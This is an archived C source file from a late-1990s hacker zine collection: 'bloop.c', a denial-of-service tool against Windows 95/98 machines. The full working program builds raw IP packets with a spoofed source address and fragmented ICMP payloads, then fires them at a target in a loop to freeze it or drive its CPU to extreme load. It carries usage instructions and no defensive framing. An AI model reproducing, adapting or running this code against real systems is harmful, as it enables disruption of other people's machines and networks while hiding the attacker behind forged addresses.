home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / bloop.c < prev    next >
C/C++ Source or Header  |  1998-12-16  |  5KB  |  153 lines

  1. /* Simple denial of service attack against Windows98/95 Machines
  2.    Overview: Sends random spoofed ICMP packets similar to a weaker
  3.    protocol as of ssping or jolt.
  4.    Result: Freezes the users machine or a CPU usage will rise to extreme
  5.    lag potentiol. (c) Legion2000 Security Research , code may be
  6.    distributed - credit is greatfully given if so..
  7.  
  8.    http://www.legion2000.org     http://www.sekurity-net.com
  9.  */
  10. #include <stdio.h>
  11. #include <unistd.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <sys/types.h>
  15. #include <sys/time.h>
  16. #include <sys/socket.h>
  17. #include <netdb.h>
  18. #include <netinet/in.h>
  19. #include <netinet/ip.h>
  20. #include <netinet/ip_icmp.h>
  21. void banner(void) {
  22.         
  23.    printf("Bloop v 1.0\n\n");
  24.    printf("\n\n");
  25. }
  26. void usage(const char *progname) {
  27.    printf(" usage:\n");
  28.    printf("./bloop [src_ip] [dst_ip] [# of packets]\n",progname);
  29.    printf(" [ip_src] :  ex: 205.56.78.0\n");
  30.    printf(" [ip_dst] :  ex: 201.12.3.76\n");
  31.    printf(" [number]  : 100\n");
  32.    printf("Legion2000 Security Research (c)\n");
  33. }
  34. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
  35.    struct hostent *host;
  36.    memset(addr,0,sizeof(struct sockaddr_in));
  37.    addr->sin_family = AF_INET;
  38.    addr->sin_addr.s_addr = inet_addr(name);
  39.    if (addr->sin_addr.s_addr == -1) {
  40.       if (( host = gethostbyname(name) ) == NULL )  {
  41.          fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
  42.          return(-1);
  43.       }
  44.       addr->sin_family = host->h_addrtype;
  45.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  46.    }
  47.    addr->sin_port = htons(port);
  48.    return(0);
  49. }
  50. unsigned short in_cksum(addr, len)
  51.     u_short *addr;
  52.     int len;
  53. {
  54.     register int nleft = len;
  55.     register u_short *w = addr;
  56.     register int sum = 0;
  57.     u_short answer = 0;
  58.  
  59.     while (nleft > 1)  {
  60.         sum += *w++;
  61.         nleft -= 2;
  62.     }
  63.  
  64.     if (nleft == 1) {
  65.         *(u_char *)(&answer) = *(u_char *)w ;
  66.         sum += answer;
  67.     }
  68.  
  69.     sum = (sum >> 16) + (sum & 0xffff);
  70.     sum += (sum >> 16);                 
  71.     answer = ~sum;                      
  72.     return(answer);
  73. }
  74. int send_winbomb(int socket,
  75.                  unsigned long spoof_addr,
  76.                  struct sockaddr_in *dest_addr) {
  77.    unsigned char  *packet;
  78.    struct iphdr   *ip;
  79.    struct icmphdr *icmp;
  80.    int rc;
  81.  
  82.    packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  83.                                     sizeof(struct icmphdr) + 8);
  84.    ip = (struct iphdr *)packet;
  85.    icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  86.    memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  87.    ip->ihl      = 5;
  88.    ip->version  = 4;
  89. // ip->tos      = 2;
  90.    ip->id       = htons(1234);
  91.    ip->frag_off |= htons(0x2000);
  92. // ip->tot_len  = 0;
  93.    ip->ttl      = 30;
  94.    ip->protocol = IPPROTO_ICMP;
  95.    ip->saddr    = spoof_addr;
  96.    ip->daddr    = dest_addr->sin_addr.s_addr;
  97.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  98.  
  99.    icmp->type              = 12;
  100.    icmp->code              = 0;
  101.    icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  102.    if (sendto(socket,
  103.               packet,
  104.               sizeof(struct iphdr) +
  105.               sizeof(struct icmphdr) + 1,0,
  106.               (struct sockaddr *)dest_addr,
  107.               sizeof(struct sockaddr)) == -1) { return(-1); }
  108.    ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  109.    ip->frag_off = htons(8 >> 3);
  110.    ip->frag_off |= htons(0x2000);
  111.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  112.    icmp->type = 0;
  113.    icmp->code = 0;
  114.    icmp->checksum = 0;
  115.    if (sendto(socket,
  116.               packet,
  117.               sizeof(struct iphdr) +
  118.               sizeof(struct icmphdr) + 8,0,
  119.               (struct sockaddr *)dest_addr,
  120.               sizeof(struct sockaddr)) == -1) { return(-1); }
  121.    free(packet);
  122.    return(0);
  123. }
  124. int main(int argc, char * *argv) {
  125.    struct sockaddr_in dest_addr;
  126.    unsigned int i,sock;
  127.    unsigned long src_addr;
  128.    banner();
  129.    if ((argc != 4)) {
  130.       usage(argv[0]);
  131.       return(-1);
  132.    }
  133.  
  134.    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  135.       fprintf(stderr,"ERROR: Opening raw socket.\n");
  136.       return(-1);
  137.    }
  138.  
  139.    if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
  140.    src_addr = dest_addr.sin_addr.s_addr;
  141.    if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
  142.    printf("Status: Connected....packets sent.\n",argv[0]);
  143.    for (i = 0;i < atoi(argv[3]);i++) {
  144.       if (send_winbomb(sock,
  145.                        src_addr,
  146.                        &dest_addr) == -1) {
  147.          fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
  148.          return(-1);
  149.       }
  150.       usleep(10000);
  151.    }
  152. }
  153.